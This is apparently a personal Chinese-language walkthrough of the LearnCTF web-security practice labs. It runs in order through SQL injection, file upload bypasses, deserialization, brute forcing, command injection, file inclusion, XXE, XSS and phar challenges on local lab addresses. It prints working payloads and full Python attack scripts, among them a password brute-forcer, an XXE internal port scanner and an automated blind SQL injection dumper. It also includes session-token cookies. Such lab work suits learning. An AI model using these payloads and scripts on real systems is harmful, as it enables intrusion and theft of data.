LearnCTFweb练习

LearnCTF之web练习

image-20260425194045020

下载连接

官方安装文档

0.信息收集

0_nmap

image-20260425194913254

nmap -p- 172.16.238.3

image-20260425195102896

开放了32648端口

curl 172.16.238.3:32648

image-20260425195231096

1_source

image-20260425195423783

在url前加上view-source:

image-20260425195459575

2_source

image-20260425195639204

在url前加上view-source:,然后ctrl+f搜索flag

image-20260425195600823

3_git

使用githack工具

打开学习环境中的kali

image-20260425234005232

cd GitHack-py3/
python3 GitHack.py http://192.168.230.128:32777/.git/
cat index.html 

image-20260425234150249

4_source

备份文件泄露

index.php.swp、index.php.bak、www.zip、robots.txt

使用目录扫描工具

cd code_search/
python3 code_search.py http://192.168.230.128:32779/

image-20260425235103488

image-20260425235118759

image-20260425235225933

image-20260425235215644

完成

image-20260425235335760

1.Web基础

1_0_hello_php_code

image-20260425235706449

image-20260425235910683

image-20260425235926588

image-20260425235938398

1_1_get_code

image-20260426000534900

image-20260426001454718

image-20260426001504708image-20260426001513540

1_get

image-20260426094404401

image-20260426094428155

2_get

image-20260426094503851

image-20260426095119359

image-20260426094931050

3_0_post_code

image-20260426095205512

image-20260426095327182

image-20260426095807665

image-20260426095822541

3_post

image-20260426100016553

image-20260426100007375

image-20260426100032397

4_form_get

image-20260426100142565

image-20260426100304684

image-20260426100634060

5_form_post

image-20260426100740390

image-20260426100839924

6_header

image-20260426100937517

7_history

image-20260426101059134

image-20260426101803394

image-20260426102211202

8_db_code

image-20260426102753769

<?php
$con = mysqli_connect('localhost','root','root','d952a');
$sql = 'select cc18e from t10bd limit 0,1';
$result = mysqli_query($con,$sql);
if ($result){
	$row = mysqli_fetch_array($result);
	if ($row){
		echo $row['cc18e'];
	}else{
		echo 'null';
	}
}else{
	echo mysqli_error($con);
}

image-20260426103835579

image-20260426103846924

完成

image-20260426103930052

2.SQL注入-union注入

1_login_bypass

image-20260426104242155

万能密码登录

admin' or 1=1 -- +

image-20260426104311366

2_sql_union_db_name

image-20260426104352728

image-20260426104820696

image-20260426104930238

image-20260426104950811

单引号闭合

image-20260426105023520

image-20260426105031964

一共有三个字段

image-20260426105114371

回显点有两个

image-20260426105236841

当前库名flag_e174060e5_txt

image-20260426105728666

访问这个文件

http://192.168.230.128:32778/flag_e174060e5_txt

image-20260426110434845

image-20260426110458566

3_sql_union_db_name2

image-20260426110607889

image-20260426110638430

image-20260426110709905

image-20260426110724732

单引号闭合

image-20260426110831306

image-20260426110812519

6个字段

image-20260426110919340

两个回显点

image-20260426110945874

下载文件查看flag

image-20260426111118985

4_sql_union_table_name

image-20260426111206052

image-20260426111248270

单引号闭合

image-20260426111329144

image-20260426111343709

4个字段

image-20260426111413475

两个回显点

image-20260426111640522

数据库名d019bb7f60

image-20260426111755666

得到表名flag_2afd47e03_txt

image-20260426111845747

5_sql_union_column_name

image-20260426113621441

image-20260426113713461

单引号闭合

image-20260426113743117

image-20260426113758674

5个字段

image-20260426113853204

两个回显点

image-20260426114019183

数据库名d4f266eb84

image-20260426114158236

表名tedcdd7936

image-20260426114409510

下载flag_05dc6f6ae_txt

image-20260426114452847

6_sql_union

image-20260426114517992

image-20260426115557133

image-20260426115633459

image-20260426115648864

5个字段

image-20260426121051524

两个回显点

image-20260426122053421

数据库名d997ec97f3

image-20260426122425019

表名t9bdff2f2f

image-20260426122514219

字段名cd08d55fe7

image-20260426122909143

完成

image-20260426122941568

3.SQL注入-报错注入和注入绕过

1_sql_error_db_name

image-20260426151720530

image-20260426151740375

image-20260426151802846

image-20260426151820606

单引号闭合

image-20260426152213193

image-20260426152247147

2_sql_error

image-20260426152432515

image-20260426152604392

数据库名dead1c401b

image-20260426152753557

表名tf13d55405

image-20260426152905177

字段名c5ec3f74c0

image-20260426153003564

image-20260426153034935

3_sql_error_long

image-20260426153141464

image-20260426153304562

数据库名dd0e8d3db1

image-20260426153421333

表名t4b1f56eb7

image-20260426153519973

字段名c9f87bbc3b

image-20260426153610575

只显示了一部分,通关substr进行分割显示

image-20260426153839201

image-20260426153924486

flag{dbd83658-2271-4a41-8e42-e3b96c188174}

4_sql_error_no_extractvalue

image-20260426154340890

数据库名db60fc359c

image-20260426165746183

表名为t4be21ebea

image-20260426165925660

字段名为c835454036

image-20260426170010610

使用substr查询

image-20260426170055130

image-20260426170132899

flag{67d06692-f35e-4794-8adc-672479935949}

5_sql_bypass1

image-20260426170247409

代码审计,过滤了select和union,检测到union会立即停止,检测到select和i会被替换为空

union尝试使用大小写绕过,select尝试双写绕过

image-20260426193048212

image-20260426193106233

两个字段

image-20260426193418884

两个注入点

image-20260426193455198

数据库名flag_cddc1cb73_txt

6_sql_bypass2

image-20260426205045904

image-20260426210335188

使用\n(%0a)代替空格,使用where '1'='1闭合后面的引号

image-20260426210450564

image-20260426210557093

7_sql_bypass3

%0a代替空格,or代替and

image-20260426213708383

数据库名d23a6b98b0

image-20260426213845524

表名t135cc0229

image-20260426214140499

字段名c8ee6172e7

image-20260426214241255

image-20260426214326634

flag{e0c81b70-9a36-462c-b322-3c226c3187d4}

完成

image-20260426214407843

4.文件上传

1_eval

image-20260427075753636

使用蚁剑连接,蚁剑的安装

image-20260427075935140

image-20260427080031648

2_webshell

image-20260427080218029

image-20260427080337886

image-20260427080448709

3_webshell_db

image-20260427080543788

image-20260427080617178

image-20260427081159338

image-20260427081229712

image-20260427081321148

4_upload

image-20260427081456173

image-20260427085557197

上传文件

image-20260427085914349

蚁剑连接

image-20260427090027632

image-20260427090048560

5_upload_bypass1

image-20260427090401595

关掉js调试

image-20260427090437258

image-20260427090449334

image-20260427090514309

image-20260427090544431

6_upload_bypass2

image-20260427090725806

抓包,修改mime值

image-20260427091031073

image-20260427091127376

image-20260427091156672

image-20260427091226501

7_upload_bypass3

image-20260427091412189

后缀改为phtml

image-20260427091627141

image-20260427091724090

image-20260427091748811

8_upload_bypass4

image-20260427092001260

image-20260427092159161

后缀名改为png,上传.htaccess

<FilesMatch "png">
setHandler application/x-httpd-php
</FilesMatch>

image-20260427092351421

image-20260427092420565

image-20260427092458170

image-20260427092537267

9_upload_bypass5

image-20260427092629191

image-20260427092829448

image-20260427092838280

image-20260427092938517

image-20260427093151946

image-20260427093215278

a0_upload_bypass6

image-20260427093425002

修改后缀,上传png

auto_append_file=shell.png

上传.user.ini

image-20260427093608321

image-20260427093624265

image-20260427093652625

image-20260427093718972

完成

image-20260427093849193

5.反序列化漏洞

1_serialize_array

image-20260427094452757

image-20260427095713022

image-20260427095907363

2_serialize_object

image-20260427135705323

image-20260427140433772

image-20260427140451346

3_serialize_object2

image-20260427140534565

image-20260427141732946

把\0替换为%00

O:6:"Person":2:{s:7:"%00*%00name";s:8:"admin333";s:11:"%00Person%00age";i:35;}

image-20260427141835442

4_serialize

image-20260427174152409

image-20260427175656854

image-20260427175635427

image-20260427175733126

image-20260427175816584

5_serialize

image-20260427185341068

image-20260428080344947

image-20260428080326751

6_serialize

image-20260428081620686

image-20260428082817762

image-20260428082849699

image-20260428082928263

image-20260428082949723

7_serialize

image-20260428083207409

image-20260428084103451

image-20260428084114299

完成

image-20260428084156015

6.暴力破解、命令执行

1_brute

image-20260428084545707

使用burpsuite抓包发送到攻击器

image-20260428085227154

image-20260428085257564

image-20260428085346481

image-20260428085508252

image-20260428085533378

2_brute

image-20260428085653991

image-20260428090143055

6位:yyMMdd,yyyyMd,YYYYMM,YYYYdd

7位:yyyyMMd,yyyyMdd

8位:yyyyMMdd

image-20260428090402822

3_brute

image-20260428090708395

使用pydictor

python3 pydictor.py --sedb

image-20260428091421558

填入相关信息

image-20260428091802476

run保存

image-20260428091944783

image-20260428095215607

最终脚本

import requests

session = requests.session()

burp0_url = "http://192.168.230.128:32774/login.php"
burp0_cookies = {"GZCTF_Token": "CfDJ8Ev3m88RoTtBoZBxezuFjgNHwsF9dTHEQJfS9g0X2hcQHjrz17Pgxjg0D_mT-tIvGZ_lHM5On04IGZ5NBEXdfpgkL1pwZTyHh5y_5AJ481epJBwZnuGas0RWTdJE0Z6pGgMla9jbyEFwZj3qK8yubvilcTqpC0cHV4VDvVy5kV27m9g94Jxmn682iRb6lBYGetn9QT8RjjRh26beF8T-XzfuVzpwx6YorHSlLhXGMnbFGfXxDTOolTg6-d5fWJDTPU-w9hguD_PGzjWCthO9ttqLuP98e3hwmtXorFXRIDLdPIB_k6Yt77J8s_tuhkG5jfli-Bt7FUSde4vjikUE8aYFoRsa3mlHg_YS9-zSdCEyGk3qrGFpRr-VsuvgjOsU8UVSjHagFnggp-PxwQqW_RSn8osEzcESZFwPOf9C0EEeFigOwHOCF3mwqcKUBMgvQJzVT2WBqXGz5YZXyjyAZm2cA1DjZ4VgGpXwjUzxU77A13LLvAwnvCgQD5bxdhoU6ZVDT0IpOatQMcuVwCnbu3KrD6uznpyS5eyu2vF_sHJkCSEHB7w-m4UT9rwiMFgDM3nqByISmlM8w68yHBZUGBFbGGJ9ELFJMD72gpF3SLEMV2rNWetKE6D-KmYTgqUThfFlREcdVZLmblb_XmR7OIDoOPl6_ETXzsQPKJCkJnn2VnTkUIAhleGOOQnJpAcGsWDEWh2ErhWNcfK4oaIpu_EcFGG1jZgxMYuYV8M7CuQd"}
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://192.168.230.128:32774", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://192.168.230.128:32774/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "keep-alive"}
with open('G:\Downloads\sedb_091819.txt','r') as f:
    for line in f:
        line=line.strip()
        burp0_data = {"username": "admin", "password": line}
        response=session.post(url=burp0_url,headers=burp0_headers,data=burp0_data)
        if '用户名或密码错误' not in response.text:
            print(response.text)

image-20260428100251455

4_cmd

image-20260428100324959

image-20260428100621155

image-20260428100642972

5_cmd

image-20260428100739253

$IFS$1  linux中分割变量
{cat,flag}
cat<flag
cat<>flag

image-20260428101442534

image-20260428101546599

6_cmd

image-20260428101729729

绕过方法

变量绕过 例:$a=fl;$b=ag cat /$a$b
反引号   例:cat fl'任意非命令字符串'ag
反斜杠   例:cat f\lag
编码绕过 例:echo Y2F0IC9mbGFn|base64 -d|sh

image-20260428102344868

image-20260428102700854

image-20260428102930650

7_cmd

image-20260428103017095

image-20260428103335657

image-20260428103359278

php代码在前端显示不出来,需要查看页面源码

完成

更多命令执行总结

image-20260428103510837

7.文件包含

1_include

image-20260428103926645

image-20260428103958835

2_include2

image-20260428104329867

image-20260428104316183

3_include

image-20260428104506373

php一定不能在前端显示,可以使用php伪协议读取

?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20260428105141431

image-20260428105110775

4_include

image-20260428111336888

通过远程代码生成webshell(远程文件包含)

我在个人网站下放了个shell(已删除)

image-20260428111251235

image-20260428111455403

image-20260428111439299

image-20260428111531767

5_include

image-20260428113203227

image-20260428112816476

image-20260428112949014

6_include

image-20260428125520430

使用data://

data://text/plain;base64,

image-20260428130929338

image-20260428130911573

image-20260428131739946

image-20260428132538968

image-20260428132525680

7_include

image-20260428132849839

image-20260428132959600

image-20260428135017696

压缩后添加png后缀

image-20260428135122481

image-20260428135132200

image-20260428135335596

image-20260428135425012

完成

image-20260428135505431

8.XXE

1_xxe

image-20260428142631177

2_xxe

image-20260428161514809

image-20260428161542899

3_xxe

image-20260428171217573

image-20260428171158842

image-20260428171259078

import requests

session = requests.session()

burp0_url = "http://192.168.230.128:32769/login.php"
burp0_cookies = {"GZCTF_Token": "CfDJ8Ev3m88RoTtBoZBxezuFjgPzdwQBQgXhtsZjRzz35Bcd-Gz-U7zC4_WtMjEi7qak1jUd1oz9_Ky3H_ly0I6xfxBNrO_88U9mYV6DzbtuwFUAepT4Eud7dwATZbQHprk38fEllYHSWTKu9PoHtr-HsEdJxMWOoC7hv6mfMgXxh2ct1d45tbeT-hoxj8xwfnduYMrN4EiaqNCz1OsJwgZP7yTdBNUkLQGTHqa9kCbCW4odq0Zzicm6T3w6ytTrcdL9qtU71MTu9GzXhQ7vOPKRpGJrKwI3VMee2_yoiBCL9acM0hlFzgS0yb13h97nDaJRvca7C3pZs_ShsaA_YPLAwX1Eg3g7mdkNzW36YyyP3N6OYJlcvTna88lxMlp2tkBCer9Ky1umxOI4eWwONWFjMWlZByXIk6j_aNuSiwQCzd1k-3QtrbHd2dny12bsKZdcg7xX99VwtpDHusZb_ZbCWLCVRk4Fx3gwvgE_MH1H6do1VKb7JgAiDiSBhTX87UQ-TiU0Y0vy417hZqdyz2S4rOonjnTTWqEUGAUwpa6umeUdkvA5kvGifliJlGD7ApOV368Y_Wnxsq5BPrUR1lEAFl-9LnQd2ZMMiSuUTVTW9Y1SQ6E0ymaQ7FJYqzmA5RLj1pMJX76IIGKkspMVUdFdpWvTPr4AiEoVAGUjP3JefRRLsO7-v3fB5dP1IFQtG3TSTx5TksugsmJBA7jt-59UpGSsV2JmXd7jKZzjmZccBqiC"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "Content-Type": "application/xml;charset=utf-8", "Accept": "*/*", "Origin": "http://192.168.230.128:32769", "Referer": "http://192.168.230.128:32769/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "keep-alive"}
for i in range(7000,8000):
    burp0_data = f"<!DOCTYPE user [\r\n<!ENTITY myentity SYSTEM \"php://filter/convert.base64-encode/resource=http://127.0.0.1:{i}\">\r\n]>\r\n<user><username>\r\n&myentity;\r\n</username><password>123456</password></user>"
    a=session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

    if 'refused' not in a.text:
        print(i,a.text)

image-20260428172619611

image-20260428172731937

4_xxe_sysbox_runc

/etc/hosts
/proc/net/arp
/proc/net/fib_trie

image-20260428175452095

image-20260428181137993

image-20260428181506123

完成

image-20260428181919945

9.布尔盲注

1_sql_bool_db_name

image-20260428193253531

image-20260428201340146

image-20260428201419534

2_sql_bool_table_name

image-20260428213358230

image-20260428213539427

3_sql_bool

image-20260428234643170

4_sql_bool_bypass

image-20260429003007440

盲注脚本

import requests
session = requests.session()
url = input("输入需要盲注网站的url: ")
bypass='/**/'
burp0_cookies = {"GZCTF_Token": "CfDJ8Ev3m88RoTtBoZBxezuFjgOLexqLqeuiSO6hqXyyD_gK3Dky_HyCZgJLyMrT9445HODmueiv1yBMSz0MS2TPEf2OMCEVyim3WQpMDo8rQb7R9WLlpnoeKRlsFKR6eDAFxcn6lPAoMgwLZswUKBVzSj3LNGz-CQDKOrd7rjXm-sI8SpsA9RRw-oolVOC2pGxrXMwPGYY6NsbLczPgH1DRj6fq92qkpMT87u00Ti755g2bSJrQN88XGF8zpiEaY5VfEz7n_zYC00iJn5gN6tBSaYSKHcisPYXulFdKQg7-P8j9kcDY4qxTvsmZWid4qwlCbMI3wXfR6MshbAp6uieVgbFBfx325lAph3VAbSEV2ytV9KSzziPv_66TFhKgYlmRH6qUaK5Bx681kF12a97yWU4Fa9sr9JVWqI0c1XFJbBHoeank-cHgVctNy7PoS1aiJV7XBtH-4_r7GaEvszZXrcxSc0qVPge-OFByl8qZxqk5xADKm-Epr8_j6jA3c73l3-509uf_Oo_uobd2u7YxetkYDNnR7K5j4d-HZi3O0gsTcPlcRQBWnnEhcRbQZlJIW6lk3nQ2zfz37TpmKZ_RDzrVTOcR-7RreOD9dqEt7KvUDE_-0JXj9ZgqT0TGpQae7SvKAGCYp0YsIgtW0T6_ykBvFCuYJ_Qa9bXSIBx11x8fM8vLzcJNBXmVkKv-FOzRgk0RL2RB7KcVEQ6SWNBjpiWb7qkoAQlJp6jvwWNBz37Q"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "keep-alive"}
b=''
for i in range(1,100):
    burp0_url = f"{url}/?id=1' and length(database())={i}%23"
    burp0_url = burp0_url.replace(' ',f'{bypass}')
    a=(session.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)).text
    if 'no' not in a:
        i1=i
for i2 in range(1,i1+1):
    for j in range(1,1000):      
        burp0_url = f"{url}/?id=1' and ascii(substr(database(),{i2},1))={j}%23" 
        burp0_url = burp0_url.replace(' ',f'{bypass}')
        a=(session.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)).text
        if 'no'not in a:
            b+=chr(j)
print('数据库名: ',b)
for i3 in range(1,100000000000000):
    burp0_url =f"{url}/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='{b}'))={i3}%23"
    burp0_url = burp0_url.replace(' ',f'{bypass}')
    a=(session.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)).text
    if 'no' not in a:
        i4=i3
        break
b1=''
for i5 in range(1,i4+1):
    for j in range(1,300):
        burp0_url =f"{url}/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='{b}'),{i5},1))={j}%23"
        burp0_url = burp0_url.replace(' ',f'{bypass}')
        a=(session.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)).text
        if 'no' not in a:
            b1+=chr(j)

print('表名: ',b1)
st=input("请输入要查询的表名: ")
if st in b1:
    for i6 in range(1,100000000000000):
        burp0_url =f"{url}/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='{b}' and table_name='{st}'))={i6}%23"
        burp0_url = burp0_url.replace(' ',f'{bypass}')
        a=(session.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)).text
        if 'no' not in a:
            i7=i6
            break   
b2=''
for i8 in range(1,i7+1):
    for j in range(1,300):
        burp0_url =f"{url}/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='{b}' and table_name='{st}'),{i8},1))={j}%23"
        burp0_url = burp0_url.replace(' ',f'{bypass}')
        a=(session.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)).text
        if 'no' not in a:
            b2+=chr(j)
print('字段名: ',b2)

dump=input('请输入要查的值: ')
if dump in b2:
    for i8 in range(1,100000000000000):
        burp0_url =f"{url}/?id=1' and length((select group_concat({dump}) from {st}))={i8}%23"
        burp0_url = burp0_url.replace(' ',f'{bypass}')
        a=(session.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)).text
        if 'no' not in a:
            i9=i8
            break 

b3=''
for i10 in range(1,i9+1):
    for j in range(1,300):
        burp0_url =f"{url}/?id=1' and ascii(substr((select group_concat({dump}) from {st}),{i10},1))={j}%23"
        burp0_url = burp0_url.replace(' ',f'{bypass}')
        a=(session.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)).text
        if 'no' not in a:
            b3+=chr(j)
print('值: ',b3)

完成

image-20260429003106730

10.xss

1_xss

image-20260429003409964

image-20260429003343256

2_xss_storage

image-20260429003706640

image-20260429003820603

image-20260429003726086

3_xss_cookie_sysbox_runc

image-20260429004209994

启动xss_plantform

image-20260429005209873

image-20260429010556524

image-20260429010652261

image-20260429010812821

image-20260429010820441

image-20260429010607215

image-20260429011002286

4_xss_cookie_bypass_sysbox_runc

image-20260429011502090

image-20260429011821088

image-20260429011930211

image-20260429012035490

image-20260429012110781

image-20260429012536304

完成

image-20260429012643516

11.Phar

1_phar

image-20260429061559578

image-20260429062313662

image-20260429062406423

image-20260429062426724

2_phar

image-20260429063028594

image-20260429063105116

php://filter/resource=phar://upload/fc34b0c.phar.gif/test1.txt

image-20260429063239308

完成

image-20260429063321764

文章评论